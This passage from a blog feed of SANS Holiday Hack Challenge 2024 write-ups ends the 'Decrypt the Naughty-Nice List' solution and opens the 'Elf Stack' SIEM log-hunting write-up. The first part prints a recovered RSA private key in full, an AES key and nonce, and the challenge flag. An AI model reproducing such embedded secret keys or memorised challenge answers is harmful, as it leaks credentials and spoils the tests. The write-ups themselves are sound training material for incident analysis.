mFpYmUwdAp0N0NaWHBXdHpoMnR5WStwM3dFSU83ZTJWV0srNmc3VEpsbHdCM21oYTJBNzdOdUVtSkRWUFlzbHNRNWxEcm9HCmdTaE45QjVSY0krK1E5R2ZGVnI5V2x5YnRsSkVqT2xZQ1ZWQ2ZGeGFGc0xCQkkxWGo4MjZCTTlZTUFaMUdWb1AKWVFWTHFXWnVDc2UvMzQ5TWsySkJPQVlncEM1Q3hFQjFnb05EZ1NBT1FDLzlBMW1kRWhxV2xGVTM2aW1tYlBmQwpLWjZqS0VmZ2YyNXdKb3RVZ0xDQjhiOUhTcVJiVnJpSmNMWDZCNVVvUlh5SExQV0tpYmlNSXN2V0ROdXZsNUhzCnJDaUpUYUl4OXRhOFc5M0dvRVF0MFoycDR1Y09lZUk0NVJLbjZZUmJIcnQyUU9neXBHVHgralcxMC9XcGpBRC8KMGc3dnZ3S0NBUUIxVlYvWVg5K1FjcXBqU3AwZDVId29rTWlJdFFFSVprTHlBYkdCeUplTWp3WFhUQ3NFNXNmRQo5dDRzMkNudWp4SE81UmZsQXR2T3h4WnQzcFBKQnhRaG14Y3U1VGdselp3MnI1cUpxWE81WGVJc2R4eDdzTG1hCnVRTC91a2k3bXRmVXpEYWlRNlNGRWM5c2tYRDVlMVJjcXh0V3NDL09GYmMxc29zc3ZqemxlbVRFNDBtaDJMS3QKOFlNM3BicnhmTWdzL2ptb2xxbEgvVTc5cTA0VXlaTkU3RCtKVjhIVGhGUll2aTlVMG9ZUHdtaC9MdXl4a3R4bgpkZ3NQUndpS2hSNS9VYm5mZVQrUE1QZHllRnFEaXp6SEM1QXZ4cHNtTHc3TWQ0WTFQYUpaME1FdnZJb0VRR0YzCnhraDB1YUpMaVBuN1VHWVRIbFJWdjhxTVh0T2dOemY1QW9JQkFETUMyWDVGQmp5eHYveVRBUk9nOERuOTBLdGgKcDJQcUxEVkdlSERMMnYweGN5dkl0aEl2ZTMveEdaZ3RCZ2hmU3lNUGNxWjVzOGgxNW0rL1FOTmQ5NXpsN3hxRgo1REpQb1A2NncrL3dNK1c0bS92b01RTTFrYlFTbkRxdHRMekc0VEFYcmpxa2x2eDBRUUFKQWtDNVg5TDM5V3VFCit1SHJrTDJET09uMzJ0Y1N6aWM4U0hNY1pDZzZWUy9WSVhpOUM3MFhxNHB3YTVSdUZBdFY5dkJvOTB2RDJtK0YKeUlIbExVWGtMUnhGWlBQUVpOd3NBQ0Q4WW9SUFcvdzYwbjJ6N0J6QTVQY0laS05KbFpxYTlpeEJ1bkl4WlhJSQpqZDZmRHhPZVZqVTZ1c0t6U2Vvc29RQ2tFRnZobGtWSDZFSzZYZmg2WERGYXRBblp5RE5WUC9QUGloST0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; --&amp;gt; DECODED STRING --&amp;gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;MIIJKAIBAAKCAgEAplg5eKDvk9f+gsWWZUtpFr80ojTZabm4Rty0Lorwtq5VJd37&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8GgAmwxIFoddudP+xMNz9u5lRFExqDWoK2TxKbyiGTOKV9IlpZULFyfV9//i8vq4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;ew7H9Ts7duNh4geHNysfWqdrVebTRZ6AeCAeJ2cZuVP4briai0XDq2KUd/sc7kgQ&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;xXGgw0t/FqiDglpSF1PFxPvUzJwcJNQhIYQCxRCwHkHqVSnToZcnjJjhgVyXsTNy&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5pOLBWqg5nSnXrwl8JfGkUHN/Twbb829rIMT550ZxO8KYH4q/kV3cwVcSYfEYvMJ&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;JoeQFCgHiuL5EuxAUbO6KZgTnRWhWQmotTQb+fCj8siljg8dIdwxB690LvZYpvv4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;yPLYgqCf9PzzgrZPvlJ+XkInJ3s/+DOL0VbCgTHP0gbpO7kdjiTOBS1Jp+FtbCG+&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6omvwSg/cELNnsDCs6F1x33iR7tumeQySwNPWNGt6pOHmyGfHYL2Rxhj5S5nCXqx&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;GCx2q2mH8l4AL5bbzVVxEEa++Fgnd9r24SSC3bvlNVT0CDfBdoKzTuO8RONB4WKN&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;kbqNj+ME8JDHUA39ld/yqIViGjjAER/NTishk5zk0419AiQpHfOUnCNxq17NZP5K&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;gLxx7xrTaLdPm0X9aMOcquIPenjrwZfIVpyqZoUn/D0zinoNInok8CFdbD8CAwEA&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;AQKCAgAAgwz7PZuaqRsuafc9YblXyEqTphiCBGuIhuhul8hnJ2nb0ONKrDx9rk1E&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;tIizkR8BIqqwonVoxtH9uLKUA0oermwLZFtTqye6CapTBoZ1bXcELlhz+ARBnHyH&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;DG/rLcM+3YSsxu0AlzN0rIGX5Lnj4jTGuFvlHntmGbLh9QqHJDzZKWmTACqUcTN0&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8biM+v4w5Rtq6PQot7vYVRcIBnJpTv2oqyOfRT8Frao9g213JA6xnI8CK9XJ83wx&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;56kGrinABUxaoKG6s33+XRHTursxKDxJPxzP6NJsgMtU/8kw0lAKghoLcofEfmfe&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;oUAl7RYwOfdgUdVJFfws3vclPFxAUMNNiJW8Tl/IY6mZ5Pp1Gpi+omBOyYfk9iyM&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;S8R76afj3d0RhtT0Jii88yFtMBVFLSL8Y0sXEXEMdIXtox7fcb2TlZxXodYJeHJC&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;0dLQ3b7CB+SPyDj3xZZHEFj4DRXwuCYKlXsaomXL7q9bqL8ljjJqc4WRWCe1+51e&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;sFP9fUMzuc6lcbHczLhN5dgR+cqriMo8LzrwpNia6DjGyBMfOyPLiN0Z7ZfXrXDv&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;VSbBjrMqeMtC6SU10Cd2mVZLNJLjGnIwf/Sduo7VoNTg8F9GcaUrSqHKuB3dMU9c&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;rvRHBxsDr4iszW4X0LCM6zSU84aES1kP/CNKg4zZXV2GvYMGFQKCAQEA5wFd+YbE&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;n02HTZo+8V0R/cK38NvEDAASKxEsREOTGybKw4B9oCL64sE8RYXOrbYo2MGLC7JL&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;q08yLrEWCcWCObdDhMbTxYV+J0rSGxiGjiOLGGoWwgKHS1FnrOBdL7bFBqayESji&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;EqfVNk2VrmlhJKOMWwb2APGL8s4qdQkrHWwptpc+UDJuJHdc6QCsHrHyafahfqwd&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;aTHpyBRqIK69FmMSBPiSMLxE+1GI2yoy00Z55BEEJjQ1bTG1HdOkrNf5fBf+6WNA&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;A3dc/2LaDk7Iotl5ZguhlwUQxZzxWhn2X23NVcQJGjJ4s0LwJyzPdi1CUlgA/UyQ&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;r2UaD0nxYXl5ywKCAQEAuFfQ2pMd0M7C+R7SmfN3765oqGKL+2FwkSgrhUW2aWzl&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27SmyVSC0LloGDG6GorrhtLiqmfFGDW+RBpG0aJITGOSbe3N0VH9pSu9buurnvJW&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;DjijaNDKJnuihnuBH1VDsHCZROI6WvDFW1xyBPXo5nRVY6y5Or2eGTi/kbB/rEld&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;EdvuA2CcwYOSnuffccQ8TRI+RXLV1JDT3lWGKxRvyGuMUINzNk0nZN8X/Vw1SI4J&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;dfZgWroizIZ9cu9RhYPdzqKW55TduKRRFDbSbQEecP8/HxUw0Zr3S3Z/dWA2vSmK&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;o3OxmSIxnNlAkVZwrtoLr8qXggvN5dUdw/0BTrTY3QKCAQEAxDcqDpBFpRaibe0t&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;t7CZXpWtzh2tyY+p3wEIO7e2VWK+6g7TJllwB3mha2A77NuEmJDVPYslsQ5lDroG&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;gShN9B5RcI++Q9GfFVr9WlybtlJEjOlYCVVCfFxaFsLBBI1Xj826BM9YMAZ1GVoP&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;YQVLqWZuCse/349Mk2JBOAYgpC5CxEB1goNDgSAOQC/9A1mdEhqWlFU36immbPfC&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;KZ6jKEfgf25wJotUgLCB8b9HSqRbVriJcLX6B5UoRXyHLPWKibiMIsvWDNuvl5Hs&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;rCiJTaIx9ta8W93GoEQt0Z2p4ucOeeI45RKn6YRbHrt2QOgypGTx+jW10/WpjAD/&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;0g7vvwKCAQB1VV/YX9+QcqpjSp0d5HwokMiItQEIZkLyAbGByJeMjwXXTCsE5sfE&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9t4s2CnujxHO5RflAtvOxxZt3pPJBxQhmxcu5TglzZw2r5qJqXO5XeIsdxx7sLma&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;uQL/uki7mtfUzDaiQ6SFEc9skXD5e1RcqxtWsC/OFbc1sossvjzlemTE40mh2LKt&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8YM3pbrxfMgs/jmolqlH/U79q04UyZNE7D+JV8HThFRYvi9U0oYPwmh/Luyxktxn&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;dgsPRwiKhR5/UbnfeT+PMPdyeFqDizzHC5AvxpsmLw7Md4Y1PaJZ0MEvvIoEQGF3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;xkh0uaJLiPn7UGYTHlRVv8qMXtOgNzf5AoIBADMC2X5FBjyxv/yTAROg8Dn90Kth&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;p2PqLDVGeHDL2v0xcyvIthIve3/xGZgtBghfSyMPcqZ5s8h15m+/QNNd95zl7xqF&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5DJPoP66w+/wM+W4m/voMQM1kbQSnDqttLzG4TAXrjqklvx0QQAJAkC5X9L39WuE&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;+uHrkL2DOOn32tcSzic8SHMcZCg6VS/VIXi9C70Xq4pwa5RuFAtV9vBo90vD2m+F&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;yIHlLUXkLRxFZPPQZNwsACD8YoRPW/w60n2z7BzA5PcIZKNJlZqa9ixBunIxZXII&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;jd6fDxOeVjU6usKzSeosoQCkEFvhlkVH6EK6Xfh6XDFatAnZyDNVP/PPihI=&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;-----END RSA PRIVATE KEY-----&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h3 id=&#34;The-encryption-key&#34;&gt;&lt;a href=&#34;#The-encryption-key&#34; class=&#34;headerlink&#34; title=&#34;The encryption key&#34;&gt;&lt;/a&gt;The encryption key&lt;/h3&gt;&lt;p&gt;Having obtained the private key, we can now decrypt the encrypted key retrieved from the pcap:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_12_decrypt_encryptionKey.png&#34;&gt;&lt;br&gt;The result is &lt;code&gt;1d1c6165774bd4ef06f2910884b79484,9e60e7c02163359a&lt;/code&gt;, wich is in the format &lt;code&gt;&amp;lt;key&amp;gt;,&amp;lt;nonce&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;The-solution-Finally-😁&#34;&gt;&lt;a href=&#34;#The-solution-Finally-😁&#34; class=&#34;headerlink&#34; title=&#34;The solution (Finally 😁)&#34;&gt;&lt;/a&gt;The solution (Finally 😁)&lt;/h3&gt;&lt;p&gt;Knowing that the executable encrypts the file with AES-CBC and having obtained the encryption key, we can finally decrypt the naughty nice list:&lt;br&gt;&lt;img src=&#34;/2025/01/03/2024-14-Decrypt-the-Naughty-Nice-List/14_13_decrypt_the_file.png&#34;&gt;&lt;br&gt;The solution of the challenge is the name of this last child: “Xena Xtreme”!&lt;/p&gt;
&lt;h2 id=&#34;Thanks&#34;&gt;&lt;a href=&#34;#Thanks&#34; class=&#34;headerlink&#34; title=&#34;Thanks&#34;&gt;&lt;/a&gt;Thanks&lt;/h2&gt;&lt;p&gt;Oh my god, this was so painful…I loved it! 😁 I have so many people to thank on this one - especially on the digest part - hopefully I don’t miss anyone.&lt;/p&gt;
&lt;h3 id=&#34;Thanks-to-JollyFrogs&#34;&gt;&lt;a href=&#34;#Thanks-to-JollyFrogs&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @JollyFrogs&#34;&gt;&lt;/a&gt;Thanks to @JollyFrogs&lt;/h3&gt;&lt;p&gt;“oh my god…there’s a hard part?” &lt;/p&gt;
&lt;h3 id=&#34;Thanks-to-thezentester&#34;&gt;&lt;a href=&#34;#Thanks-to-thezentester&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @thezentester&#34;&gt;&lt;/a&gt;Thanks to @thezentester&lt;/h3&gt;&lt;p&gt;“bruh, you killin me - i cant read that”&lt;/p&gt;
&lt;h3 id=&#34;Thanks-to-Shuckle-Lord-Mixone&#34;&gt;&lt;a href=&#34;#Thanks-to-Shuckle-Lord-Mixone&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @Shuckle Lord Mixone&#34;&gt;&lt;/a&gt;Thanks to @Shuckle Lord Mixone&lt;/h3&gt;&lt;p&gt;“and I even noticed that “debug data” section in the script…”&lt;/p&gt;
&lt;h3 id=&#34;Thanks-to-winter-soldier&#34;&gt;&lt;a href=&#34;#Thanks-to-winter-soldier&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @winter_soldier&#34;&gt;&lt;/a&gt;Thanks to @winter_soldier&lt;/h3&gt;&lt;p&gt;Thanks for the patience!&lt;/p&gt;
&lt;h3 id=&#34;Thanks-to-devastati0n&#34;&gt;&lt;a href=&#34;#Thanks-to-devastati0n&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @devastati0n&#34;&gt;&lt;/a&gt;Thanks to @devastati0n&lt;/h3&gt;&lt;p&gt;Your help and the patience were just invaluable!&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="Dusty Giftwrap" />
        <category term="act3" />
        <category term="Decrypt the Naughty-Nice List" />
        <category term="Decrypt" />
        <updated>2025-01-03T14:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2025/01/03/2024-13-Elf-Stack/</id>
        <title>Elf Stack</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2025/01/03/2024-13-Elf-Stack/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄ ❄ ❄ ❄&lt;/span&gt;&lt;br&gt;Help the ElfSOC analysts track down a malicious attack against the North Pole domain.&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;Elf-Stack-Intro&#34;&gt;&lt;a href=&#34;#Elf-Stack-Intro&#34; class=&#34;headerlink&#34; title=&#34;Elf Stack Intro&#34;&gt;&lt;/a&gt;Elf Stack Intro&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Fitzy Shortstack&lt;/em&gt;&lt;br&gt;I’m part of the ElfSOC that protects the interests here at the North Pole. We built the Elf Stack SIEM, but not everybody uses it. Some of our senior analysts choose to use their command line skills, while others choose to deploy their own solution. Any way is possible to hunt through our logs!&lt;/p&gt;
&lt;h3 id=&#34;Elf-Stack-Fields&#34;&gt;&lt;a href=&#34;#Elf-Stack-Fields&#34; class=&#34;headerlink&#34; title=&#34;Elf Stack Fields&#34;&gt;&lt;/a&gt;Elf Stack Fields&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Fitzy Shortstack&lt;/em&gt;&lt;br&gt;If you are using your command line skills to solve the challenge, you might need to review the configuration files from the containerized Elf Stack SIEM.&lt;/p&gt;
&lt;h3 id=&#34;Elf-Stack-WinEvent&#34;&gt;&lt;a href=&#34;#Elf-Stack-WinEvent&#34; class=&#34;headerlink&#34; title=&#34;Elf Stack WinEvent&#34;&gt;&lt;/a&gt;Elf Stack WinEvent&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Fitzy Shortstack&lt;/em&gt;&lt;br&gt;One of our seasoned ElfSOC analysts told me about a great resource to have handy when hunting through event log data. I have it around here somewhere, or maybe it was online. Hmm.&lt;/p&gt;
&lt;h3 id=&#34;Elf-Stack-PowerShell&#34;&gt;&lt;a href=&#34;#Elf-Stack-PowerShell&#34; class=&#34;headerlink&#34; title=&#34;Elf Stack PowerShell&#34;&gt;&lt;/a&gt;Elf Stack PowerShell&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Fitzy Shortstack&lt;/em&gt;&lt;br&gt;Our Elf Stack SIEM has some minor issues when parsing log data that we still need to figure out. Our ElfSOC SIEM engineers drank many cups of hot chocolate figuring out the right parsing logic. The engineers wanted to ensure that our junior analysts had a solid platform to hunt through log data.&lt;/p&gt;
&lt;h3 id=&#34;Elf-Stack-Hard-Email1&#34;&gt;&lt;a href=&#34;#Elf-Stack-Hard-Email1&#34; class=&#34;headerlink&#34; title=&#34;Elf Stack Hard - Email1&#34;&gt;&lt;/a&gt;Elf Stack Hard - Email1&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Fitzy Shortstack&lt;/em&gt;&lt;br&gt;I was on my way to grab a cup of hot chocolate the other day when I overheard the reindeer talking about playing games. The reindeer mentioned trying to invite Wombley and Alabaster to their games. This may or may not be great news. All I know is, the reindeer better create formal invitations to send to both Wombley and Alabaster.&lt;/p&gt;
&lt;h3 id=&#34;Elf-Stack-Hard-Email2&#34;&gt;&lt;a href=&#34;#Elf-Stack-Hard-Email2&#34; class=&#34;headerlink&#34; title=&#34;Elf Stack Hard - Email2&#34;&gt;&lt;/a&gt;Elf Stack Hard - Email2&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Fitzy Shortstack&lt;/em&gt;&lt;br&gt;Some elves have tried to make tweaks to the Elf Stack log parsing logic, but only a seasoned SIEM engineer or analyst may find that task useful.&lt;/p&gt;
&lt;h2 id=&#34;Silver-Easy-mode&#34;&gt;&lt;a href=&#34;#Silver-Easy-mode&#34; class=&#34;headerlink&#34; title=&#34;Silver (Easy mode)&#34;&gt;&lt;/a&gt;Silver (Easy mode)&lt;/h2&gt;&lt;h3 id=&#34;Question-1-How-many-unique-values-are-there-for-the-event-source-field-in-all-logs&#34;&gt;&lt;a href=&#34;#Question-1-How-many-unique-values-are-there-for-the-event-source-field-in-all-logs&#34; class=&#34;headerlink&#34; title=&#34;Question 1: How many unique values are there for the event_source field in all logs?&#34;&gt;&lt;/a&gt;Question 1: How many unique values are there for the event_source field in all logs?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; STATS COUNT_DISTINCT(event_source)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;COUNT_DISTINCT(event_source)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;5&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-2-Which-event-source-has-the-fewest-number-of-events-related-to-it&#34;&gt;&lt;a href=&#34;#Question-2-Which-event-source-has-the-fewest-number-of-events-related-to-it&#34; class=&#34;headerlink&#34; title=&#34;Question 2: Which event_source has the fewest number of events related to it?&#34;&gt;&lt;/a&gt;Question 2: Which event_source has the fewest number of events related to it?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; STATS &lt;span class=&#34;built_in&#34;&gt;COUNT&lt;/span&gt;() &lt;span class=&#34;keyword&#34;&gt;BY&lt;/span&gt; event_source &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; SORT `&lt;span class=&#34;built_in&#34;&gt;COUNT&lt;/span&gt;()` &lt;span class=&#34;keyword&#34;&gt;ASC&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;COUNT()&lt;/th&gt;
&lt;th&gt;event_source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;269&lt;/td&gt;
&lt;td&gt;AuthLog&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1398&lt;/td&gt;
&lt;td&gt;SnowGlowMailPxy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7476&lt;/td&gt;
&lt;td&gt;GreenCoat&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;34679&lt;/td&gt;
&lt;td&gt;NetflowPmacct&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2299212&lt;/td&gt;
&lt;td&gt;WindowsEvent&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;AuthLog&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-3-Using-the-event-source-from-the-previous-question-as-a-filter-what-is-the-field-name-that-contains-the-name-of-the-system-the-log-event-originated-from&#34;&gt;&lt;a href=&#34;#Question-3-Using-the-event-source-from-the-previous-question-as-a-filter-what-is-the-field-name-that-contains-the-name-of-the-system-the-log-event-originated-from&#34; class=&#34;headerlink&#34; title=&#34;Question 3: Using the event_source from the previous question as a filter, what is the field name that contains the name of the system the log event originated from?&#34;&gt;&lt;/a&gt;Question 3: Using the event_source from the previous question as a filter, what is the field name that contains the name of the system the log event originated from?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;AuthLog&amp;quot;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; LIMIT &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight json&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span 